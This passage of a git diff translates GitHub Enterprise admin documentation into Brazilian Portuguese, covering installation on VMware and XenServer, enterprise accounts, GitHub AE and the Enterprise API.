-1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)."
-    - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing.
-    - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)."
+1. Usando o cliente vSphere Windows ou vCenter Web, importe a imagem do {% data variables.product.prodname_ghe_server %} que você baixou. Para ver as instruções, consulte "[Implantar modelo OVF ou OVA](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)" no guia da VMware.
+    - Ao selecionar um armazenamento de dados, escolha um que tenha espaço suficiente para hospedar os discos da VM. Para as especificações mínimas de hardware recomendadas para o tamanho da sua instância, consulte "[Considerações de hardware](#hardware-considerations)". Recomendamos um provisionamento robusto com lazy zeroing.
+    - Desmarque a caixa **Power on after deployment** (Ligar após a implantação), pois você terá que adicionar um volume de armazenamento anexado aos dados do repositório após o provisionamento da VM.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Para obter instruções, consulte "[Adicionar novo disco rígido a uma máquina virtual](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)" no guia da VMware.
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leia mais
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
index 0f2545636d..33dc0b360a 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
@@ -1,63 +1,63 @@
 ---
-title: Installing GitHub Enterprise Server on XenServer
-intro: 'To install {% data variables.product.prodname_ghe_server %} on XenServer, you must deploy the {% data variables.product.prodname_ghe_server %} disk image to a XenServer host.'
+title: Instalar o GitHub Enterprise Server no XenServer
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no XenServer, você deve implantar a imagem de disco do {% data variables.product.prodname_ghe_server %} em um host do XenServer.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-xenserver
   - /enterprise/admin/installation/installing-github-enterprise-server-on-xenserver
   - /admin/installation/installing-github-enterprise-server-on-xenserver
 versions:
-  ghes: '<=3.2'
+  ghes: <=3.2
 type: tutorial
 topics:
   - Administrator
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on XenServer
+shortTitle: Instalar no XenServer
 ---
 
 {% note %}
 
-  **Note:** Support for {% data variables.product.prodname_ghe_server %} on XenServer will be discontinued in {% data variables.product.prodname_ghe_server %} 3.3. For more information, see the [{% data variables.product.prodname_ghe_server %} 3.1 release notes](/admin/release-notes#3.1.0)
+  **Observação:** O suporte para {% data variables.product.prodname_ghe_server %} no XenServer será descontinuado em {% data variables.product.prodname_ghe_server %} 3.3. Para obter mais informações, consulte as observações sobre a versão [{% data variables.product.prodname_ghe_server %} 3.1](/admin/release-notes#3.1.0)
 
 {% endnote %}
 
-## Prerequisites
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must install the XenServer Hypervisor on the machine that will run your {% data variables.product.prodname_ghe_server %} virtual machine (VM). We support versions 6.0 through 7.0.
-- We recommend using the XenCenter Windows Management Console for initial setup. Instructions using the XenCenter Windows Management Console are included below. For more information, see the Citrix guide "[How to Download and Install a New Version of XenCenter](https://support.citrix.com/article/CTX118531)."
+- Você deve instalar o XenServer Hypervisor na máquina que executará a sua máquina virtual (VM) do {% data variables.product.prodname_ghe_server %}. As versões 6.0 a 7.0 são compatíveis.
+- É recomendável usar o Console de gerenciamento do XenCenter Windows para a configuração inicial (veja as instruções de uso abaixo). Para obter mais informações, consulte "[Como baixar e instalar uma nova versão do XenCenter](https://support.citrix.com/article/CTX118531)" no guia do Citrix.
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Baixar a imagem do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **XenServer (VHD)**.
-5. To download your license file, click **Download license**.
+4. Selecione {% data variables.product.prodname_dotcom %} On-premises e clique em **XenServer (VHD)**.
+5. Para baixar o arquivo de licença, clique em **Download license** (Baixar licença).
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Criar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In XenCenter, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the XenCenter guide "[Import Disk Images](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)."
-    - For the "Enable Operating System Fixup" step, select **Don't use Operating System Fixup**.
-    - Leave the VM powered off when you're finished.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the XenCenter guide "[Add Virtual Disks](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)."
+1. No XenCenter, importe a imagem do {% data variables.product.prodname_ghe_server %} que você baixou. Para obter instruções, consulte "[Importar imagens de disco](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)" no guia do XenCenter.
+    - Na etapa "Enable Operating System Fixup" (Habilitar correção do sistema operacional), selecione **Don't use Operating System Fixup** (Não usar correção do sistema operacional).
+    - Ao concluir, deixe a VM desligada.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Para obter instruções, consulte "[Adicionar discos virtuais](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)" no guia do XenCenter.
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leia mais
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/overview/about-enterprise-accounts.md b/translations/pt-BR/content/admin/overview/about-enterprise-accounts.md
index 8b277fe208..1a9edd70d4 100644
--- a/translations/pt-BR/content/admin/overview/about-enterprise-accounts.md
+++ b/translations/pt-BR/content/admin/overview/about-enterprise-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: About enterprise accounts
-intro: 'With {% data variables.product.product_name %}, you can use an enterprise account to {% ifversion ghec %}enable collaboration between your organizations, while giving{% elsif ghes or ghae %}give{% endif %} administrators a single point of visibility and management.'
+title: Sobre contas corporativas
+intro: 'Com {% data variables.product.product_name %}, você pode usar uma conta corporativa para {% ifversion ghec %}habilitar a colaboração entre suas organizações, dando{% elsif ghes or ghae %}dando{% endif %} aos administradores um ponto único de visibilidade e gestão.'
 redirect_from:
   - /articles/about-github-business-accounts
   - /articles/about-enterprise-accounts
@@ -20,89 +20,89 @@ topics:
   - Fundamentals
 ---
 
-## About enterprise accounts on {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %}
+## Sobre contas corporativas em {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %}
 
 {% ifversion ghec %}
 
-Your enterprise account on {% data variables.product.prodname_dotcom_the_website %} allows you to manage multiple organizations. Your enterprise account must have a handle, like an organization or personal account on {% data variables.product.prodname_dotcom %}.
+Sua conta corporativa no {% data variables.product.prodname_dotcom_the_website %} permite que você gerencie múltiplas organizações. Sua conta corporativa deve ter um manipulador, como uma conta pessoal ou organizacional no {% data variables.product.prodname_dotcom %}.
 
 {% elsif ghes or ghae %}
 
-The enterprise account on {% ifversion ghes %}{% data variables.product.product_location_enterprise %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} allows you to manage the organizations{% ifversion ghes %} on{% elsif ghae %} owned by{% endif %} your {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} instance{% elsif ghae %}enterprise{% endif %}.
+A conta corporativa em {% ifversion ghes %}{% data variables.product.product_location_enterprise %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} permite que você gerencie as organizações{% ifversion ghes %} em{% elsif ghae %} pertencentes à{% endif %} sua instância {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% elsif ghae %}empresa{% endif %}.
 
 {% endif %}
 
-Organizations are shared accounts where enterprise members can collaborate across many projects at once. Organization owners can manage access to the organization's data and projects with sophisticated security and administrative features. For more information, see {% ifversion ghec %}"[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."{% elsif ghes or ghae %}"[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" and "[Managing users, organizations, and repositories](/admin/user-management)."{% endif %}
+As organizações são contas compartilhadas em que os integrantes da empresa podem colaborar em muitos projetos de uma só vez. Os proprietários da organização podem gerenciar o acesso aos dados e projetos da organização, com recursos sofisticados de segurança e administrativos. Para obter mais informações, consulte {% ifversion ghec %}"[Sobre as organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations).{% elsif ghes or ghae %}"[Sobre as organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations)" e "[Gerenciando usuários, organizações e repositórios](/admin/user-management)".{% endif %}
 
 {% ifversion ghec %}
 
-Enterprise owners can create organizations and link the organizations to the enterprise. Alternatively, you can invite an existing organization to join your enterprise account. After you add organizations to your enterprise account, you can manage and enforce policies for the organizations. Specific enforcement options vary by setting; generally, you can choose to enforce a single policy for every organization in your enterprise account or allow owners to set policy on the organization level. For more information, see "[Setting policies for your enterprise](/admin/policies)."
+Os proprietários das empresas podem criar organizações e vincular as organizações à empresa. Como alternativa, você pode convidar uma organização existente para participar da conta corporativa. Depois de adicionar organizações à conta corporativa, você pode gerenciar e aplicar políticas para as organizações. Opções específicas de aplicação variam de acordo com a configuração; normalmente, é possível optar por aplicar uma única política para cada organização na sua conta corporativa ou permitir que proprietários definam a política no nível da organização. Para obter mais informações, consulte "[Definindo políticas para a sua empresa](/admin/policies)".
 
-{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
+{% data reusables.enterprise.create-an-enterprise-account %} Para obter mais informações, consulte "[Criando uma conta corporativa](/admin/overview/creating-an-enterprise-account)".
 
 {% elsif ghes or ghae %}
 
-For more information about the management of policies for your enterprise account, see "[Setting policies for your enterprise](/admin/policies)."
+Para obter mais informações sobre o gerenciamento de políticas para a conta corporativa, consulte "[Políticas de configuração para a sua empresa](/admin/policies)".
 
 {% endif %}
 
-## About administration of your enterprise account
+## Sobre a administração da conta corporativa
 
 {% ifversion ghes or ghae %}
 
-From your enterprise account on {% ifversion ghae %}{% data variables.product.product_name %}{% elsif ghes %}a {% data variables.product.prodname_ghe_server %} instance{% endif %}, administrators can view enterprise membership and manage the following for the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} instance{% elsif ghae %}enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %}.
+Na sua conta corporativa em {% ifversion ghae %}{% data variables.product.product_name %}{% elsif ghes %}uma {% data variables.product.prodname_ghe_server %}vinstância{% endif %}, os administradores podem visualizar a associação da empresa e gerenciar o seguinte para a instância {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% elsif ghae %}empresa em {% data variables.product.prodname_ghe_managed %}{% endif %}.
 
 {% ifversion ghes %}
-- License usage{% endif %}
-- Security ({% ifversion ghae %}single sign-on, IP allow lists, {% endif %}SSH certificate authorities, two-factor authentication)
-- Enterprise policies for organizations owned by the enterprise account
+- Uso da licença{% endif %}
+- Segurança ({% ifversion ghae %}logon único, listas de permissão de IP, {% endif %}autoridades de certificação SSH, autenticação de dois fatores)
+- Políticas corporativas para organizações pertencentes à conta corporativa
 
 {% endif %}
 
 {% ifversion ghes %}
 
-### About administration of your enterprise account on {% data variables.product.prodname_ghe_cloud %}
+### Sobre a administração da conta corporativa em {% data variables.product.prodname_ghe_cloud %}
 
 {% endif %}
 
-{% ifversion ghec or ghes %}When you try or purchase {% data variables.product.prodname_enterprise %}, you can{% ifversion ghes %} also{% endif %} create an enterprise account for {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_dotcom_the_website %}. Administrators for the enterprise account on {% data variables.product.prodname_dotcom_the_website %} can view membership and manage the following for the enterprise account{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
+{% ifversion ghec or ghes %}Ao experimentar ou comprar {% data variables.product.prodname_enterprise %}, você também pode{% ifversion ghes %}{% endif %} criar uma conta corporativa para {% data variables.product.prodname_ghe_cloud %} em {% data variables.product.prodname_dotcom_the_website %}. Os administradores da conta corporativa em {% data variables.product.prodname_dotcom_the_website %} podem visualizar a associação e gerenciar os recursos a seguir para a conta corporativa{% ifversion ghes %} em {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
 
-- Billing and usage (services on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_GH_advanced_security %}, user licenses)
-- Security (single sign-on, IP allow lists, SSH certificate authorities, two-factor authentication)
-- Enterprise policies for organizations owned by the enterprise account
+- Cobrança e uso (serviços em {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_GH_advanced_security %}, licenças de usuários)
+- Segurança (logon único, listas de permissão de IP, autoridades de certificação SSH, autenticação de dois fatores)
+- Políticas corporativas para organizações pertencentes à conta corporativa
 
-If you use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, you can also manage the following for {% data variables.product.prodname_ghe_server %} from your enterprise account on {% data variables.product.prodname_dotcom_the_website %}.
+Se você usar {% data variables.product.prodname_ghe_cloud %} e {% data variables.product.prodname_ghe_server %}, você também pode gerenciar o seguinte para {% data variables.product.prodname_ghe_server %} na sua conta corporativa em {% data variables.product.prodname_dotcom_the_website %}.
 
-- Billing and usage for {% data variables.product.prodname_ghe_server %} instances
-- Requests and support bundle sharing with {% data variables.contact.enterprise_support %}
+- Cobrança e uso para instâncias de {% data variables.product.prodname_ghe_server %}
+- Solicitações e compartilhamento de pacote de suporte com {% data variables.contact.enterprise_support %}
 
-You can also connect the enterprise account on {% data variables.product.product_location_enterprise %} to your enterprise account on {% data variables.product.prodname_dotcom_the_website %} to see license usage details for your {% data variables.product.prodname_enterprise %} subscription from {% data variables.product.prodname_dotcom_the_website %}. For more information, see {% ifversion ghec %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %}
+Você também pode conectar a conta corporativa em {% data variables.product.product_location_enterprise %} à sua conta corporativa em {% data variables.product.prodname_dotcom_the_website %} para ver os detalhes de uso da licença para sua assinatura {% data variables.product.prodname_enterprise %} de {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte {% ifversion ghec %}"[Sincronizando o uso da licença entre {% data variables.product.prodname_ghe_server %} e {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" na documentação de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}"[Sincronizando o uso da licença entre {% data variables.product.prodname_ghe_server %} e {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %}
 
-For more information about the differences between {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)." {% data reusables.enterprise-accounts.to-upgrade-or-get-started %}
+Para mais informações sobre as diferenças entre {% data variables.product.prodname_ghe_cloud %} e {% data variables.product.prodname_ghe_server %}, consulte "[produtos de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products)" {% data reusables.enterprise-accounts.to-upgrade-or-get-started %}
 
 {% endif %}
 
 {% ifversion ghec %}
 
-## About {% data variables.product.prodname_emus %}
+## Sobre o {% data variables.product.prodname_emus %}
 
 {% data reusables.enterprise-accounts.emu-short-summary %}
 
 {% endif %}
 
-## About billing for your enterprise account
+## Sobre a cobrança para a sua conta corporativa
 
-The bill for your enterprise account includes the monthly cost for each member of your enterprise. The bill includes {% ifversion ghec %}any paid licenses in organizations outside of your enterprise account, subscriptions to apps in {% data variables.product.prodname_marketplace %}, {% endif %}{% ifversion ghec or ghae %}additional paid services for your enterprise{% ifversion ghec %} like data packs for {% data variables.large_files.product_name_long %},{% endif %} and{% endif %} usage for {% data variables.product.prodname_GH_advanced_security %}.
+A conta corporativa inclui o custo mensal para cada integrante da sua empresa. A conta inclui {% ifversion ghec %}todas as licenças pagas em organizações fora da sua conta corporativa, assinaturas de aplicativos em {% data variables.product.prodname_marketplace %}, {% endif %}{% ifversion ghec or ghae %}serviços adicionais pagos pela empresa{% ifversion ghec %} como pacotes de dados de {% data variables.large_files.product_name_long %},{% endif %} e{% endif %} de uso para {% data variables.product.prodname_GH_advanced_security %}.
 
 {% ifversion ghec %}
 
-For more information about billing for your {% data variables.product.prodname_ghe_cloud %} subscription, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
+Para obter mais informações sobre cobrança para sua assinatura de {% data variables.product.prodname_ghe_cloud %}, consulte "[Visualizando a assinatura e o uso da conta corporativa](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" e "[Sobre cobrança para a sua empresa](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)".
 
 {% elsif ghes %}
 
 {% data reusables.enterprise-accounts.enterprise-accounts-billing %}
 
-For more information about billing for {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %}, see "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
+Para obter mais informações sobre a cobrança para {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %}, consulte "[Sobre a cobrança para a sua empresa](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
 
 {% endif %}
 
@@ -110,10 +110,10 @@ For more information about billing for {% ifversion ghec %}{% data variables.pro
 
 {% ifversion ghec %}
 
-{% data variables.product.prodname_enterprise %} offers two deployment options. In addition to {% data variables.product.prodname_ghe_cloud %}, you can use {% data variables.product.prodname_ghe_server %} to host development work for your enterprise in your data center or supported cloud provider. {% endif %}Enterprise owners on {% data variables.product.prodname_dotcom_the_website %} can use an enterprise account to manage payment and licensing for {% data variables.product.prodname_ghe_server %} instances. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products#github-enterprise)" and "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)."
+{% data variables.product.prodname_enterprise %} offers two deployment options. Além de {% data variables.product.prodname_ghe_cloud %}, você pode usar {% data variables.product.prodname_ghe_server %} para hospedar o trabalho de desenvolvimento da sua empresa no centro de dados ou no provedor de nuvem compatível. {% endif %}Os proprietários de empresas em {% data variables.product.prodname_dotcom_the_website %} podem usar uma conta corporativa para gerenciar pagamentos e licenciamento para instâncias de {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[produtos de {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products#github-enterprise)" e "[Gerenciando sua licença para {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)".
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)" in the GraphQL API documentation
+- "[Contas corporativas](/graphql/guides/managing-enterprise-accounts)" na documentação da API do GraphQL
diff --git a/translations/pt-BR/content/admin/overview/about-github-ae.md b/translations/pt-BR/content/admin/overview/about-github-ae.md
index 62d5fcf17b..cdb3c936bd 100644
--- a/translations/pt-BR/content/admin/overview/about-github-ae.md
+++ b/translations/pt-BR/content/admin/overview/about-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub AE
-intro: '{% data variables.product.prodname_ghe_managed %} is a security-enhanced and compliant way to use {% data variables.product.prodname_dotcom %} in the cloud.'
+title: Sobre o GitHub AE
+intro: '{% data variables.product.prodname_ghe_managed %} é uma forma de segurança aprimorada e compatível de usar {% data variables.product.prodname_dotcom %} na nuvem.'
 versions:
   ghae: '*'
 type: overview
@@ -9,33 +9,33 @@ topics:
   - Fundamentals
 ---
 
-## About {% data variables.product.prodname_ghe_managed %}
+## Sobre o {% data variables.product.prodname_ghe_managed %}
 
-{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} is fully managed, reliable, and scalable, allowing you to accelerate delivery without sacrificing risk management.
+{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} é totalmente gerenciada, confiável e escalável, o que permite que você acelere a entrega sem sacrificar a gestão de risco.
 
-{% data variables.product.prodname_ghe_managed %} offers one developer platform from idea to production. You can increase development velocity with the tools that teams know and love, while you maintain industry and regulatory compliance with unique security and access controls, workflow automation, and policy enforcement. 
+{% data variables.product.prodname_ghe_managed %} oferece uma plataforma de desenvolvedor da ideia à produção. Você pode aumentar a velocidade do desenvolvimento com as ferramentas que as equipes conhecem e gostam, ao mesmo tempo em que você mantém a conformidade com o setor e com os regulamentos com controles únicos de segurança e acesso, automação de fluxo de trabalho e aplicação da política.
 
-## A highly available and planet-scale cloud
+## Uma nuvem de alta disponibilidade e escala planetária
 
-{% data variables.product.prodname_ghe_managed %} is a fully managed service, hosted in a high availability architecture. {% data variables.product.prodname_ghe_managed %} is hosted globally in a cloud that can scale to support your full development lifecycle without limits. {% data variables.product.prodname_dotcom %} fully manages backups, failover, and disaster recovery, so you never need to worry about your service or data. 
+{% data variables.product.prodname_ghe_managed %} é um serviço totalmente gerenciado, hospedado em uma arquitetura de alta disponibilidade. {% data variables.product.prodname_ghe_managed %} está hospedado globalmente em uma nuvem que pode ser escalada para ser compatível com todo o seu ciclo de vida de desenvolvimento sem limites. {% data variables.product.prodname_dotcom %} gerencia totalmente os backups, failover e recuperação de desastres para que você nunca tenha que se preocupar com o seu serviço ou dados.
 
-## Data residency
+## Residência dos dados
 
-All of your data is stored within the geographic region of your choosing. You can comply with GDPR and global data protection standards by keeping all of your data within your chosen region.
+Todos os seus dados são armazenados na região geográfica da sua escolha. Você pode cumprir os padrões de proteção de dados e o RGPD global mantendo todos os seus dados na sua região escolhida.
 
-## Isolated accounts
+## Contas isoladas
 
-All developer accounts are fully isolated in {% data variables.product.prodname_ghe_managed %}. You can fully control the accounts through your identity provider, with SAML single sign on as mandatory. SCIM enables you to ensure that employees only have access to the resources they should, as defined in your central identity management system. For more information, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)."
+Todas as contas de desenvolvedor são completamente isoladas em {% data variables.product.prodname_ghe_managed %}. Você pode controlar totalmente as contas por meio do seu provedor de identidade, com o logon único SAML como obrigatório. O SCIM permite que você garanta que os funcionários só têm acesso aos recursos que deveriam, conforme definido no seu sistema central de gestão de identidades. Para obter mais informações, consulte "[Gerenciar identidade e acesso para sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise)".
 
-## Restricted network access
+## Acesso restrito às redes
 
-Secure access to your enterprise on {% data variables.product.prodname_ghe_managed %} with restricted network access, so that your data can only be accessed from within your network. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)."
+Acesso seguro à sua empresa em {% data variables.product.prodname_ghe_managed %} com acesso restrito à rede, para que seus dados possam ser acessados somente de dentro da sua rede. Para obter mais informações, consulte "[Restringir tráfego de rede para a sua empresa](/admin/configuration/restricting-network-traffic-to-your-enterprise)".
 
-## Commercial and government environments
+## Ambientes comercial e governamental
 
-{% data variables.product.prodname_ghe_managed %} is available in the Azure Government cloud, the trusted cloud for US government agencies and their partners. {% data variables.product.prodname_ghe_managed %} is also available in the commercial cloud, so you can choose the hosting environment that is right for your organization.
+{% data variables.product.prodname_ghe_managed %} está disponível na nuvem do Azure Government, na nuvem de confiança das agências governamentais dos EUA e seus parceiros. {% data variables.product.prodname_ghe_managed %} também está disponível na nuvem comercial. Portanto, você pode escolher o ambiente de hospedagem correto para a sua organização.
 
-## Further reading
+## Leia mais
 
-- "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
-- "[Receiving help from {% data variables.product.company_short %} Support](/admin/enterprise-support/receiving-help-from-github-support)"
+- "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
+- "[Recebendo ajuda do suporte de {% data variables.product.company_short %}](/admin/enterprise-support/receiving-help-from-github-support)"
diff --git a/translations/pt-BR/content/admin/overview/about-the-github-enterprise-api.md b/translations/pt-BR/content/admin/overview/about-the-github-enterprise-api.md
index 13c1255fff..b1dd0092ba 100644
--- a/translations/pt-BR/content/admin/overview/about-the-github-enterprise-api.md
+++ b/translations/pt-BR/content/admin/overview/about-the-github-enterprise-api.md
@@ -1,6 +1,6 @@
 ---
-title: About the GitHub Enterprise API
-intro: '{% data variables.product.product_name %} supports REST and GraphQL APIs.'
+title: Sobre a API do GitHub Enterprise
+intro: '{% data variables.product.product_name %} é compatível com APIs REST e do GraphQL.'
 redirect_from:
   - /enterprise/admin/installation/about-the-github-enterprise-server-api
   - /enterprise/admin/articles/about-the-enterprise-api
@@ -16,12 +16,12 @@ topics:
 shortTitle: GitHub Enterprise API
 ---
 
-With the APIs, you can automate many administrative tasks. Some examples include:
+Com as APIs, você pode automatizar muitas tarefas administrativas. Veja alguns exemplos:
 
 {% ifversion ghes %}
-- Perform changes to the {% data variables.enterprise.management_console %}. For more information, see "[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)."
-- Configure LDAP sync. For more information, see "[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)."{% endif %}
-- Collect statistics about your enterprise. For more information, see "[Admin stats](/rest/reference/enterprise-admin#admin-stats)."
-- Manage your enterprise account. For more information, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)."
